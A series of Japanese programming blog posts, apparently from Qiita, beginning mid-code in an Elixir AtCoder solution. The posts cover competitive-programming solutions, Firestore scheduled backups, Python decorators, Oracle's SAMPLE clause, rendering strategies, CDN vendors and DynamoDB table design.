        t >= 0 and Bitwise.band(t, 1) == 0
    end
    def main() do
        n = IO.read(:line)
            |> String.trim()
            |> String.to_integer()
        IO.stream(:stdio, @bl)
        |> Stream.transform({[], "", n}, &st/2)
        |> Stream.scan([[0, 0, 0]], & [&1 | &2])
        |> Stream.transform(true, fn [x1 | [x2 | _]], acc -> 
            t = s(x1, x2) and acc
            if t do
                {[t], t}
            else
                {:halt, t}
            end
        end)
        |> Enum.count()
        |> case do
            ^n -> 
                "Yes"
            _ -> 
                "No"
        end
        |> IO.puts()
    end
end

Main.main()





```

# 成果物

https://paiza.io/projects/NQ0nZem4ToNnqZb8rHyjtg


以上
paiza.ioでelixir その298

# 概要
paiza.ioでelixirやってみた。
ABC086C Traveling　見つけたのでやってみた。

# 参考にしたページ

https://qiita.com/RyoWakabayashi/items/916d6eb06743f645da37

# サンプルコード

```

defmodule Main do
    defp split_lines(lines) do
        lines
        |> String.trim()
        |> String.split("\n")
    end
    defp split_words(words) do
        String.split(words, " ")
    end
    def solve(input) do
        points = input
                |> split_lines()
                |> tl()
                |> Enum.map(fn line ->
                    line
                    |> split_words()
                    |> Enum.map(&String.to_integer/1)
                end)
        [[0, 0, 0] | Enum.drop(points, -1)]
        |> Enum.zip(points)
        |> Enum.all?(fn {[pre_t, pre_x, pre_y], [post_t, post_x, post_y]} ->
            inc_t = post_t - pre_t
            inc_d = abs(post_x - pre_x) + abs(post_y - pre_y)
            margin = inc_t - inc_d
            margin >= 0 && rem(margin, 2) == 0
        end)
        |> if(do: "Yes", else: "No")
    end
    def main do
        :stdio
        |> IO.read(:all)
        |> solve()
        |> IO.puts()
    end
end

Main.main()


```

# 成果物

https://paiza.io/projects/JnVafwPasnIYT6fAc1OzHg


以上
paiza.ioでelixir その297

# 概要
paiza.ioでelixirやってみた。
ABC086C Traveling　見つけたのでやってみた。

# 参考にしたページ


https://qiita.com/koyo-miyamura/items/9f224a3e56ea75939dca


# サンプルコード

```

defmodule Main do
    defp split_lines(lines) do
        lines
        |> String.trim()
        |> String.split("\n")
    end
    defp split_words(words) do
        String.split(words, " ")
    end
    def traveling(list) do
        Enum.map_reduce(list, [0, 0, 0], fn [t2, x2, y2], [t1, x1, y1] ->
            {[t2 - t1, abs(x2 - x1) + abs(y2 - y1)], [t2, x2, y2]}
        end)
        |> elem(0)
        |> Enum.all?(fn [dt, dist] -> 
                dt >= dist and rem(dist, 2) == rem(dt, 2) 
            end)
        |> case do
            true -> :Yes
            _ -> :No
        end
    end
    def solve(input) do
        points = input
                |> split_lines()
                |> tl()
                |> Enum.map(fn line ->
                    line
                    |> split_words()
                    |> Enum.map(&String.to_integer/1)
                end)
        points
        |> traveling()
        |> if(do: "Yes", else: "No")
    end
    def main do
        :stdio
        |> IO.read(:all)
        |> solve()
        |> IO.puts()
    end
end

Main.main()


```

# 成果物

https://paiza.io/projects/z0nwqUENK2QRRoJR19EX8A


以上。
Firestoreのスケジュールバックアップが提供開始されたので設定した話

昨年秋、Firestoreのバックアップのプレビュー版が提供され始めました。費用・管理面で日々のバックアップで利点があったため、導入した話を共有いたします。

<!-- more -->

## 背景

Firestore上のデータをバックアップする場合、これまでFirestoreのエクスポート/インポートを使う必要がありました。この方式において、以下の課題がありました。

- エクスポートしたドキュメント数に比例して読み取り費用が発生する
  - データベース全体で5000万ドキュメントがある場合、nam5リージョンでおよそ$30/回かかる計算になります。
- 定期バックアップさせる場合、バックアップ用の関数を作る必要がある
- バックアップ間でデータの損失が発生したとき、復旧する手段がない

そんな折、昨年秋にスケジュールバックアップが公開プレビュー版で提供されました[^1]。このバックアップでは、以下の特徴があります。

- 設定した保持期間が過ぎると、自動で当該バックアップをクリアする
- バックアップ費用は、ストレージ費用(GiB/月)に対して課金される。Firestoreの読み取り費用は含まれない
- ポイントインタイムリカバリ(PITR)と組み合わせることで、日々のデータ復元はPITR、週次のデータ復元はスケジュールバックアップでカバーと運用できる
- バックアップの作成・保持はfirestoreのパフォーマンスには影響しない
- gcloudを使って設定できる

以上の点から、費用・管理面で利点があります。
そこで、1GCPプロジェクトに対してエクスポートを月1で残しつつ、試験的にデータのバックアップを追加しました。

## 注意点

スケジュールバックアップは以下の制約があります。

- バックアップは、バックアップ元のデータと同じロケーションに作成されます。したがって、災害対策には適しません
  - このため、firestoreのエクスポートを予備のフルバックアップとして、別のロケーションに保存しておくことが望ましいです
- 指定したバックアップの日・週・月において、何時頃にバックアップがされるかは不定です

## 設定方法
### IAMの設定
スケジュールバックアップを設定するプリンシパルについて、以下のロールいずれかが必要です。

- roles/datastore.backupSchedulesAdmin: バックアップ スケジュールに対する読み取り / 書き込みアクセス権

データのリストアを行う場合は roles/datastore.restoreAdmin が追加で必要となります。roles/datastore.owner を追加するとFirestore全体の完全アクセス権が得られるものの、強めの権限になるので推奨されません。

### スケジュールの設定

毎週火曜に、保持期間7日でデフォルトのデータベースをバックアップするよう下記の通り設定しました。

```bash
# 2024/7 現在、alpha はなくても良い
gcloud alpha firestore backups schedules create \
--database='(default)' \
--retention=7d \
--recurrence=weekly \
--day-of-week=TUE \
--project=your-project

```

コマンド実行後、以下のコマンドで設定したバックアップスケジュールを確認できます。

```bash
gcloud alpha firestore backups schedules list --database "(default)" --project=your-project
```

```bash
createTime: '2024-02-22T01:34:43.295238Z'
name: projects/your-project/databases/(default)/backupSchedules/c01831f3-367c-4155-838a-1ab19df0ac72
retention: 604800s
updateTime: '2024-02-22T01:34:43.295238Z'
weeklyRecurrence:
  day: TUESDAY
```

この状態で翌火曜日になると、下記の通りバックアップが作成されました。なお、月曜日に何時頃バックアップが作成されるかは不定です。UTCの午前0時に作られることもあれば、午後11時50分前後になっても作られていない場合があります。

```bash
gcloud firestore backups list --project=your-project
```

```bash
database: projects/your-project/databases/(default)
databaseUid: 0f44f5b9-fb06-40c8-b4aa-5ff7da62ae8b
expireTime: '2024-03-05T13:50:53.234353Z'
name: projects/your-project/locations/asia-northeast1/backups/8244ea64-312c-49a8-b8ef-589e6194292c
snapshotTime: '2024-02-27T13:50:53.234353Z'
state: READY
```

[^1]: https://cloud.google.com/blog/ja/products/databases/firestore-adds-point-in-time-recovery-and-scheduled-backups より。また、2024年6月末にGenerally Availableとなりました。 https://cloud.google.com/firestore/docs/release-notes#June_28_2024
RSA暗号を体験できるWebアプリ作った

# RSA暗号
RSA暗号とは、「巨大な2つの素数の積は、コンピューターでも素因数分解が困難である」という前提のもと設計されている暗号です。
でも、本当に難しいのでしょうか？
いざ挑戦してみると意外と簡単なのでは？

# 体験用のサイト
そんな声にお応えして、体験用のサイトを作りました（動かし方はREADME.mdに記載してあります）。
中央上部に表示される値は2つの素数の積なので、素因数分解を繰り返していきます。
『スコア』は、それまでに素因数分解できた最大の値です。
https://github.com/raptech-jp/primefactorizationcontest

# いざ挑戦！
最初は10以下のランダムな素数で構成される値が出てきますが、n問解くと10+n以下の素数で構成される値になります。
289で玉砕しました...
https://twitter.com/raptech_jp/status/1810697492612497735
[Python]デコレーター

# デコレーター

Pythonのデコレータ（Decorator）は、関数やクラスの機能を簡単に修正または拡張する機能です。通常、関数を扱う高度な機能を実装する際に使用され、関数やメソッドの実行前後にコードを追加したり、関数の返り値を変更したり、例外を処理したりすることができます。

デコレータは、関数で実装され、他の関数を引数として受け取り、内部でそれを変更したり新しい関数を返したりします。通常、`@decorator_function`のような形で、関数やメソッドの直前に使用されます。

例として、関数の実行時間を計測するデコレータを示します：

```python
import time

def measure_time(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        print(f"Execution time: {end_time - start_time} seconds")
        return result
    return wrapper

@measure_time
def some_function():
    time.sleep(1)
    print("Function executed")

some_function()
```

上記の例では、`measure_time`デコレータが`some_function`関数を包み込み、実行時間を計測してその値を出力します。`@measure_time`を使ってデコレータを適用し、`some_function()`を呼び出すと、関数の実行前後の時間が出力されます。

デコレータはログ記録、認証および権限の確認、キャッシュ、バリデーションなど、さまざまなタスクに有効に使用できます。複数のデコレータを組み合わせて使用したり、クラスのメソッドにも適用することができます。Pythonのデコレータは、コードをよりきれいで再利用可能にする強力なツールです。


# クラスデコレーター

クラスにデコレータを適用する方法について説明します。

Pythonでは、クラスのメソッドにもデコレータを適用することができます。通常の関数の場合と同様に、デコレータは関数として実装され、`@decorator_function`のようにメソッドの上に使用されます。

例として、メソッドの実行時間を計測するデコレータをクラスに適用する方法を示します：

```python
import time

def measure_time(method):
    def wrapper(self, *args, **kwargs):
        start_time = time.time()
        result = method(self, *args, **kwargs)
        end_time = time.time()
        print(f"{self.__class__.__name__}.{method.__name__} の実行時間: {end_time - start_time} 秒")
        return result
    return wrapper

class MyClass:
    @measure_time
    def some_method(self):
        time.sleep(1)
        print("メソッドが実行されました")

obj = MyClass()
obj.some_method()
```

上記の例では、`measure_time`デコレータが`MyClass`クラスの`some_method`メソッドを包み込み、その実行時間を計測して表示します。`@measure_time`でデコレータを適用すると、メソッドを呼び出すたびにその実行時間が表示されます。

クラスにデコレータを適用する際の注意点としては、デコレータ関数の第一引数は`self`である必要があります。これにより、デコレータがメソッドが属するインスタンスを正しく認識できます。

クラスデコレータは、ログ記録、認証、キャッシュなどの追加機能を実装する際に非常に有用です。これにより、コードの再利用性と可読性を向上させることができます。


# よく使うデコレーター

Pythonでよく使用されるデコレータの1つに、`@property`デコレータがあります。このデコレータは、クラスのメソッドをプロパティとしてアクセスできるようにする機能を提供します。通常、オブジェクト指向プログラミングではクラスの属性にアクセスするためにメソッドを介してアクセスすることが多いですが、`@property`デコレータを使用すると、これを簡単に実現することができます。

例として、次のようなクラスを考えてみましょう：

```python
class Circle:
    def __init__(self, radius):
        self._radius = radius

    @property
    def radius(self):
        return self._radius

    @radius.setter
    def radius(self, value):
        if value <= 0:
            raise ValueError("半径は正数でなければなりません。")
        self._radius = value

    @property
    def area(self):
        return 3.14 * self._radius * self._radius

# Circleクラスの使用例
circle = Circle(5)
print(f"半径: {circle.radius}")
print(f"面積: {circle.area}")

circle.radius = 10
print(f"変更された半径: {circle.radius}")
print(f"変更された面積: {circle.area}")
```

上記の例では、`@property`デコレータを使用して`radius`メソッドをプロパティとしてアクセスできるようにしました。これにより、`circle.radius`のように属性のように使用でき、同時に`@radius.setter`を使用してこの属性に値を設定する際にバリデーションを追加することができます。

`@property`デコレータは、クラスのメソッドを属性のようにアクセス可能にし、属性の設定時に追加のロジックを挿入することができるため、非常に便利です。
renderについて：タブレット難民のみなさん!!朗報です!!revolt使えます!!

...たいそうな題名でしたね。
この記事はあまりrevoltには関係ありません。
ご了承ください。(詐欺...なんてね。)

さて、私は[こちら](https://github.com/jf6deu/revite-1)のリポジトリを管理しています。
そこで、ハマった点を書き留めます。

# render.yamlとは...
render.yamlを作成したが、反映されない問題についてです。
ログインした場所からcreate web app->import public repositelyと進んだところにgithubのurlを入れました。(アカウント連携は嫌だったのでこの方法にしました。)
そしてApplyを押すと、一見進んでいるように見えますが.envやrender.yamlは無視されるんです。

## 回避策
`http://render.com/deploy?repo=リポジトリ`で入れるとできました。
同じ手順のはずなのに...
謎です。

# あとがき
初投稿がこんな感じになってしまいました。
これでいいんでしょうか...
こんなものしか書けない、拙い自分ですがよろしくお願いします。
[備忘録]Widget build(BuildContext context) {}の意味

widgetメソッドではWidgetオブジェクトを返さなければならない。

buildメソッドはフレームワークがUIを構築する。BuildContextというパラメーターにcontextというフレームワーク内の情報にアクセスしている。
要するにwidgetという戻り値にbuildメソッドの結果を代入している。その際にパラメーターとしてcontextというパラメータをbuildContextに渡している。
Mac: R のデータセットを使いたい

以下は Mac だけでのことのようだ。Windows では問題なく使えている。


R が用意しているデータセット，たとえば iris などを Julia で使うとき， `using RDatasets; iris = dataset("datasets", "iris")` などとしていた。少なくとも 2 年ほど前までは，これで動いていたのだけど，久しぶりにやってみると Rdatasets や RData パッケージがちゃんと使えないという状況になっていた（プリコンパイルできないとか）。

その回避法を書いておく。

1. R がインストールされていることを前提とする
1. RCall パッケージが使えることを前提とする。必要ならば `import Pkg; Pkg.add("RCall")` 

準備ができたら，以下を実行する。

```Julia
using RCall
df = rcopy(R"iris")
```

これだけで iris データセットが df という名前のデータフレームとして使えるようになる。
その後も Julia でこのデータセットを使いたいような場合は，CSV.write しておけばよい。必要なときに CSV.read すればよい。

```Julia
julia> using RCall

julia> df = rcopy(R"iris");

julia> first(df, 5)
5×5 DataFrame
 Row │ Sepal_Length  Sepal_Width  Petal_Length  Petal_Width  Species 
     │ Float64       Float64      Float64       Float64      Cat…    
─────┼───────────────────────────────────────────────────────────────
   1 │          5.1          3.5           1.4          0.2  setosa
   2 │          4.9          3.0           1.4          0.2  setosa
   3 │          4.7          3.2           1.3          0.2  setosa
   4 │          4.6          3.1           1.5          0.2  setosa
   5 │          5.0          3.6           1.4          0.2  setosa

julia> using Plots

julia> histogram(df.Sepal_Length)
```
[備忘録]シェルの更新 

よくターミナルを再読み込みさせる際にbashrcだったかzshrcだったかを忘れてしまうので、確認方法から備忘録として残します。

### 手順１
```
デフォルトのシェルを確認

echo $SHELL
```

### 手順２
`$SHELL`で帰ってきたものを`source`で読み込み反映
```
source ~/.zshrc 
```
SAMPLE句が便利すぎる件

## はじめに

データ抽出の設計業務を行っております。

使い慣れたテーブルからの簡単な処理ならデータ調査をしなくても実績があるのでわかりますが、「**この要件をどうやったら満たせるんだ…こんなの初めて……**」という時は実際のデータを見て逆算的に考えています。

あくまで調査に時間をかけたくないのでちょろっと見ることができればいいや～くらいなので以前にLIMIT句便利！！という記事を書きました。

https://qiita.com/m_nai/items/93aa457bcca7f630a0da

ただ`LIMIT句`って`WHERE句`に確定した条件を記載して、「よっしゃ合ってる！」って見るには便利なのですが、どういう風にデータが動いているかを全体で確認したい時は上の方から取得してくるので足りないんですよね。

なのでランダムで取得したい、ただいちいち乱数振ってソートするのを書くのがめんどくさいので調べてみました。

環境は**Oracle**です。

## なぜランダムに取得しなくてはならないの？

`SAMPLE句`は**データをランダムで取得**してくれます。
`LIMIT句`は取得する**データの上限件数を指定**できます。

全体で50件くらいならそのまま取得して見れば良いんですけど、そうじゃないから悩んでいるし何万件も取得するので処理自体も時間かかるしそんなの見られる訳がないしめんどくさい。

例として以下のuserテーブルがあり、住所が更新されたら`updateflg`が下記の定義と設計されているとします。

::: note info 
**updateflg**の定義
- "0" ：初期登録
- "1" ：更新
- "2"：削除
:::

|id |name |gender |age |address|updateflg
|---|---|---|---|---|---|
|1 |AAA |1 |20 |東京都港区 |0|
|1 |AAA |1 |20  |東京都千代田区 |1|
|1 |AAA |1 |20 |null |2|
|2|DDD |2 |30 |埼玉県さいたま市 |0|
|2 |DDD |2 |30 |神奈川県横浜市 |1|
|3 |EEE |2 |20 |神奈川県横須賀市 |1|
|3 |EEE |2 |20 |東京都中野区 |1|
|4 |FFF|1 |32 |神奈川県横浜市 |0|
|4 |FFF |2 |20 |神奈川県横須賀市 |2|

`id1`は初期登録⇒更新⇒削除で住所は変わって、削除されたらnullになっている。
`id2`は初期登録⇒更新で住所が変わっている。
なので、定義に沿ったフラグの立ち方をしています。

`id3`は更新⇒更新で住所は変わっていますが、初期登録どこ行った？
`id4`は初期登録⇒削除ですが、なんで住所が残っている？
なので、定義に沿っていない。
どこか別のテーブルで何かの動きがあるのでは？
これを正しく取得するにはどうしたらいいかを考えなければなりません。

ただ`LIMIT句`だと上から取得するので奇跡的に`id1`・`id2`の綺麗な動きをしているデータしか取得できず、定義に沿っていない部分を拾えない可能性があります。

なのでランダムに取得して、色々なデータパターンを見たいというのが目的です。

## SAMPLE句が便利すぎる件

そこで`SAMPLE句`の活躍です。

```SQL
SELECT id,address,updateflg
FROM user sample(10)
```

`sample(10)`の`(10)`は`user`テーブルから**10%取得してきてあげるね**、ということです。
個人的に10%取得できれば網羅できると思っているので私は大体10で指定します。


1万件なら1,000件になるので上の方バーーっと見れば`id3`・`id4`のような変な子が大抵見つかるので、「変な子いる！」となったらそのidを`WHERE句`で直接指定して他のテーブルと結合してピンポイントで調査します。


今回例に出したのは単純なテーブルですが、登録日時とかが項目にある場合は(大抵ある)登録日時を1か月分のみに絞ったりします。


それでも多いなら`sample(5)`で5%の取得でもパターン網羅はできるのではないでしょうか？

調査したいデータのボリュームに合わせて色々試してみると良いと思います。

## おわりに

終始めんどくさいので、を理由にしていますがめんどくさいから効率的にできないかを常に考えて調べて新しい知識を得ていって自然にスキルアップとなると考えています。


地道な作業が必要なときも勿論多いですが、「めんどくさい…これどうにかならんのか…」と常に疑問を持って調べて試すことで効率化にも繋がってスキルも手にしてと良いことだらけだと思うので今後も「めんどくさい」という気持ちを忘れずに精進していきたいです！
ITパスポート 入出力装置

・入力装置
コンピュータにプログラムやデータなどを入力したり、指示を与えたりする装置

・ポインティングデバイス
位置情報を入力する装置

・テンキー
数字や四則演算子などのキー

・ファンクションキー
F1やF2などのキー

・バーコードリーダ
バーコードを光学的に読み取る装置

・JANコード
商品のパッケージなどに印刷された、商品を識別・管理するためのコード
・チェックディジット
コードの読み取り誤りや入力誤りを検出するために付加された数字

・QRコード
小さな領域に多くの情報を格納できる二次元コード

・出力装置
コンピュータで処理した結果を画面や紙などに出力する装置

・ディスプレイ
コンピュータで処理された結果を画面に表示する装置
・液晶ディスプレイ
電圧を加えると、光の透過性が変わる液晶分子を利用する
・有機ELディスプレイ
電圧を加えると、自ら発光する有機化合物を利用する

・ディスプレイの解像度
1024x768とは、縦方向に1024ピクセル、横方向に768ピクセルで表示しているという意味

・ディスプレイの色
赤・緑・青の３色の組み合わせで表現している
この３色を光の三原色（RGB）という

・画像データの記憶容量
縦の画素数ｘ横の画素数ｘ１画素当たりのビット数

・プリンタ
コンピュータで処理された結果を紙に出力する装置

・レーザプリンタ
レーザ光と静電気を使って、トナーを定着させることで印字する装置

・インクジェットプリンタ
印字ヘッドのノズルからインクを吹き付けることで印字する装置

・ドットインパクトプリンタ
印字ヘッドの多数のピンでインクリボンに衝撃を与えることで印字する装置

・プリンタの解像度
１インチ（2.54cm）あたりのドット数で表し、単位はdpi（dot per inch）

・カラープリンタの色
C（Cyan）、M（Magenta）、Y（Yellow）の３色の組み合わせで表現する
K（Key plate）を加えたCMYKの４色が基本となる

・3Dプリンタ
３次元のデータを用いて、樹脂や金属などの材料を層状に少しずつ積み重ねることで立体物を造形する装置
ABC361参加記録　by Python

# リアルタイムに解けた問題

## [A - Insert](https://atcoder.jp/contests/abc361/tasks/abc361_a)

### 問題文

長さ$N$の整数列$A$と整数$K$,$X$が与えられます。
整数列$A$の$K$要素目の直後に整数$X$を１つ挿入した整数列$B$を出力してください。


### 制約
- 入力はすべて整数
- $1 \leq K \leq N \leq 100$
- $1 \leq A_{i},X \leq 100$

### アルゴリズム
listのinsertメソッドを使用した。

### ソースコード
``` python
N, K, X = map(int, input().split())

A = list(map(int, input().split()))

A.insert(K, X)

for a in A:
  print(a, end=' ')

print()
```
AWS研修で学んだこと

前回、『未経験でエンジニアとして入社し、１ヶ月経ったので振り返る』にて、Javaの研修で学んだことを紹介させていただきました。

https://qiita.com/Saku_K/items/241ff741fc76c2aba273

今回は、AWS研修で学んだことを紹介していきたいと思います。
# はじめに
## AWSとは？
Amazonが提供するクラウドサービスのことをいいます。
正式名称は「**Amazon Web Services**」です。

:::note warn
”アマゾン ウェブ サービス” という読み方から、
**Service** と間違えやすいですが、英語表記は **Service**<font color="red">****s****</font> です！
:::
## クラウドとは？
新しいITリソース利用のカタチであり、
**「必要な時に、必要なだけ、低価格でITリソースを提供」**
できることがAWSの大きな特徴となっています。

# AWS研修で学んだこと
## １．AWS New Grads Training
AWS研修初日は、「AWS New Grads Training」という新入社員向けのセミナーが開催され、AWSの方から直接クラウドについて学ぶ機会をいただきました。<br>

中でも特に印象深かったお話を３つ紹介したいと思います。

### 「所有」から「利用」への転換
昔は、コンピュータを利用するためにも全て自らで用意し、『**所有**』する必要がありました。<br>しかし、今は、データセンターがあり、私たちはそれをどのように『**利用**』するか検討する時代へと変化してきています。

### Amazonの企業理念
Amazonは【地球上でもっともお客様を大切にする企業であること】を企業理念として掲げています。
<INS>AWSのサービスも90％以上はお客様の声から生まれた</INS>ということで、AWSクラウドが高い人気を誇る理由が分かりました。

### Amazon成功のカギ
新しいサービスを生み出すときは失敗が多くあります。
しかし、失敗と発明には密接な関係があり、<INS>失敗を恐れず</INS>速いサイクルで回すことで、イノベーションを起こすことができます。

このお話は、私たち新入社員に向けた言葉であるようにも感じ、私も失敗を恐れず、どんどんチャレンジしていこうと思いました。
<br>

「AWS New Grads Training」では、AWSについてだけでなく、IT業界の歴史から知ることができました。
ITについて全く知識がない状態でも分かりやすく、勉強になりました。

大変面白いセミナーだったので、ぜひ来年以降の研修にも取り入れていただきたいと思っています。
## ２．Skill Builder受講
その後は、基本的にAWS公式から提供されているSkill Builderで動画を視聴しながら、自己学習を行いました。

受講したのは以下の4つです。
　1. AWS Partner : Accreditation(Technical) (Japanese) (日本語吹き替え版)
　2. AWS Partner : Sales Accreditation(Business) (Japanese) (日本語吹き替え版)
　3. Cloud Practitioner Essentials (Japanese) (日本語実写版)
　4. Cloud Practitioner Readiness

:::note warn
Accreditationは、AWSパートナー限定コースです。
:::

### 受講した感想
- １と２は、吹き替えとなっており、直訳された日本語で解説がされていたので少し理解し難い部分もありました。
- ３と４は、日本人トレーナーの方が解説されていて、内容も分かりやすく、おすすめです。

特に、3. Cloud Practitioner Essentials(Japanese) (日本語実写版) では、AWSの概要やサービスをコーヒーショップに例えて説明されており、初学者でも楽しみながら学ぶことができます。
<br>例えば、オンプレミスとAWSの違いについては、次のように説明されていました。
|オンプレミス|AWS|
|:-----------:|:---:|
|店員はその日の需要を**あらかじめ**想定し、万が一のために**多くの従業員を確保**しておく必要がある|人手が足りなくなったらボタンを押すことで**瞬時に従業員を確保**できる<br>（必要がなくなったらもう一度ボタンを押すといなくなる）仕組み

# おわりに
AWS研修では、AWS CLF（AWS Certified Cloud Practitioner）という資格取得を目標に取り組んでいます。
※この資格を取得することで、クラウドへの理解と基礎的な AWS の知識が認定されます。
<br>次回、AWS CLF合格体験記を掲載予定ですので、ぜひそちらもご覧いただければと思います。
CSR,SSR,SSG,ISR,ISG簡単まとめ

## CSR(クライアントサイドレンダリング)
JSを使用してクライアント（ブラウザ側）でレンダリングを行う

- デメリット
  - JSのサイズが大きくなる
  - ユーザーのデバイススペック次第で初回表示に時間がかかる
  - SEOに不利（クローラーがJSを実行しない場合、内容が読み取れない）

## SSG（スタティックサイトジェネレーション）
サーバーにあらかじめビルドしたHTMLを置いてAPIでfetchも済ましておく方法

- メリット
  - CDNにキャッシュさせるとSSRより高速な配信が可能
  - 性能およびセキュリティの向上（動的要素が少ないため）
- デメリット
  - 多くのページが存在するときにビルドの時間がかかる
  - データが更新された場合に再ビルドするまでページの内容が更新されない

## SSR（サーバーサイドレンダリング）
リクエストがきたときにサーバーで毎回HTMLを作る

- メリット
  - 初回表示が速い（サーバーが事前にHTMLを生成するため）
  - SEOに有利（クローラーがHTMLを直接読み取れる）
- デメリット
  - サーバー負荷が高くなりがち
  - レスポンスが遅延する可能性がある（サーバーでのレンダリング処理が必要なため）

## ISR（インクリメンタルサイトリジェネレーション）
SSGと同じくサーバーにあらかじめビルドしたHTMLを置いておく方法。
一定の間隔で自動的に再ビルドする。

- メリット
  - SSGの高速な配信と、最新データへの自動更新が可能
  - 導入が比較的簡単
- デメリット
  - キャッシュの管理が少し複雑になる
  - 更新間隔が長い場合、リアルタイム性が欠ける

## ISG (インクリメンタルスタティックジェネレーション)
SSGの改良版

1. 未生成のページに対してリクエストがあった際、データを取得していない空のHTMLと、JSが返されブラウザ側でデータをfetchしてHTMLを構築
2. 1のリクエストの際、同時にサーバー側でも同様のfetchが行われる
3. 2回目以降のアクセスではサーバー側で構築されたHTMLが返却される

- メリット
  - 未知のページでも即座に対応できる
  - ページ生成の時間が最初のリクエストでのみ発生するため、ユーザー体験が向上
- デメリット
  - 最初のリクエストが若干遅くなる
  - サーバーへの負荷が一時的に集中する可能性がある
CDNとは

## CDN（Content Delivery Network）とは？
インターネットを介して配信されるコンテンツを効率的に届けるための分散型インフラ
各地に分散しているCDNにコンテンツをキャッシュすることでユーザーへ素早く送ることができる

コンテンツとはHTMLページ、JavaScriptファイル、StyleSheet、画像、動画などのことを表す

## 仕組み
オリジンサーバーから初回リクエスト時にCDNサーバーへキャッシュされ送信される。
その後のリクエストではキャッシュから送信される。

## 主要CDNベンダー

了解しました。海外と国内の主要CDNベンダーを一緒の表にまとめました。

### 主要CDNベンダー一覧

| ベンダー | 特徴 | サービス内容 | 料金 |
|----------|------|---------------|-----|
| **Akamai** | 世界最大級のCDN事業者、FreeFlow技術 | ファイルサイズ最適化、モニタリング機能、アラート機能など | 要問合せ（無料トライアルあり） |
| **CloudFlare** | パフォーマンス向上、セキュリティ対策 | 高速化、DDoS攻撃対策、ゼロトラストサービス | Pro: $20/月、Business: $200/月、ゼロトラスト: $7/ユーザー/月（無料プランあり） |
| **Fastly** | オープンソースのVarnish利用、Instant Purge | 高速なキャッシュ更新、サーバー負荷低減 | 0~10TB: 月額23.46円/GB（税込）、従量課金制 |
| **Amazon CloudFront** | AWSサービスとの連携 | AWS Shield Standard、セキュリティ保護 | 月額0.085ドル（10TBまで）、地域によって変動 |
| **Azure CDN** | Microsoft Azureが提供 | DSA機能（動的サイトの最適化） | 従量課金制 |
| **Google Cloud CDN** | Googleのネットワーク利用 | 高性能な分散型インフラ、オンプレミス対応 | 10TBまで: $0.09（アジア太平洋地域の場合） |
| **J-Stream** | 動画制作・配信も対応、日本人スタッフサポート | J-Stream CDNext | 初期費用: ￥50,000、月額: 1GByte＝5円 |
| **ACCELIA** | 20年以上の運営ノウハウ、充実したサポート | 専門セキュリティエンジニアによるサポート | Brokering CDN: 月額3万円〜 |
| **IIJ GIOコンテンツアクセラレーションサービス** | IIJバックボーン利用 | 高速配信、低遅延 | 初期費用: 無料、転送量課金: 15円/GB |
| **So-netソリューションサービス** | 自社の目的に合わせたプラン選択可 | カスタマイズ可能 | 共有タイプ【Type-e】のe-mini: 月額2,210円 |
| **IDCFクラウド CDN** | 大規模トラフィック対応、スケーラブル設計 | ニーズに応じたシステム拡張 | 1GB未満: 無料、1GB以上〜10TB未満: 20円/GB、10TB以上〜100TB未満: 15円/GB、100TB以上: 10円/GB |
ChatGPTのマイGPTで自分のプロフィールを解説してくれるChatBotを作った

# やったこと
ChatGPTのマイGPT機能を使って、自分のプロフィールを解説してくれるChatBotを作成してみました。

[マイプロフィールChatBot](https://chatgpt.com/g/g-OMY3kH018-takuro-tsujikawa)

自分の持ってるスキルや、今までのキャリアについて解説してくれます。転職活動とかに便利かも。

# 入力データ
- LinkedInプロフィールのpdf出力
- 日本語の職務経歴書（pdfとついでにtxt）
- 保有特許一覧（csv）

マイGPTでの設定↓
![スクリーンショット 2024-07-10 9.37.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/512829/352ac8ea-bb52-56b0-7e63-a89c4eb940d8.png)

特許はGoogle Patentsで自分の名前で検索すると一覧が表示されるので、それをリストでダウンロードして使いました。

# プロンプト（指示）

指示、という部分に回答して欲しいことを書きます。なぜか、たまに保有していないスキルを紹介してしまう（クラウドとかデータベースとか）ので、そういうのを見つけたら「xxの知識は無い」と追加してます。

:::note info
Takuro Tsujikawa（日本語名；辻川卓朗）のResume（Takuro_Tsujikawa.pdf）及び職務経歴書（職務経歴書.pdf, 職務経歴書.txt）の内容に従ってエンジニアとしての、強み、スキルセット、今までのキャリア、スキルに適した仕事などを回答する。Githubのリポジトリを参照し、どのようなソフトウェアスキルがあるか答える（ https://github.com/takurot ）。技術ブログの記事を参照し、どのような知見があるか答える（ https://qiita.com/takurot ）。特許.csvから保有している特許の内容を答える。AWSなどのクラウドのスキルはない。Djangoの知識は無い。Type ScriptやJava Scriptの知識はない。SQLなどのデータベースの知識はない。Javaの経験はない。Goの経験はない。アメリカの大学出身で、英語が話せる。
:::

# これからの改善点
- 面接でよく聞かれる質問（弱みはなんですか？苦労したことはなんですか？）に対するFAQを作っておいたら、採用する側も効率的かも。
- いままでやったことをもっと詳細に書いておけば、もっといい感じに答えてくれるのかも。
- QiitaやGithubなどとURLで連携できるので、よいアピールになる（内容が良ければだけど）

# まとめ
「これはいいアイデアだ！」と思っていろんな人に言ってみたけど、大してバズってねぇ。まあこういうサービスが今後生まれてくると思うので、このChatBotも１年後くらいには用無しになっているかもしれませんね。
AWS DynamoDB: シングルテーブル設計 vs マルチテーブル設計

# はじめに
サーバーレス大好きなエンジニアです！
AWS SUMMIT 2024で学んだことを共有します。
みなさんも以下のようなことを思ったことがあるのではないでしょうか？

<font color="Red">**DynamoDBはSingle Table Designでなければいけないのか**</font>

今回はその歴史やMulti Table Designとの違いについて深掘りしていきたいと思います。

https://aws.amazon.com/jp/summits/japan/

# DynamoDBとは？

DynamoDBは、Amazon Web Services（AWS）が提供するフルマネージド型のNoSQLデータベースサービスです。高いスケーラビリティとパフォーマンスを誇り、特に大規模なアプリケーションやリアルタイムデータ処理に適しています。
以下のような特徴があります。

- フルマネージドサービス
- 高スケーラビリティ
- 高パフォーマンス
- マルチリージョン対応
- 柔軟なデータモデル


# Single Table Designでなければいけないのか

結論から言います。

<font color="Red">**必ずしも1つのテーブルにまとめる必要がありません。**</font>

- ケースに応じて有効なパターンとそうではないパターンがある
- テーブルを分割した方がメリットがある場合は積極的にテーブル分割をするべき

**なぜSingle Table Designが推奨されてきたのかを解説します。**

https://aws.amazon.com/jp/blogs/news/single-table-vs-multi-table-design-in-amazon-dynamodb/

## Single Table Design

### 長所

- 非正規化によりトランザクションを使わなくとも一貫性が保ちやすい
- 1つのテーブルから複数のビューを作成できる

### 短所

- データ冗長性が高くなる可能性がある
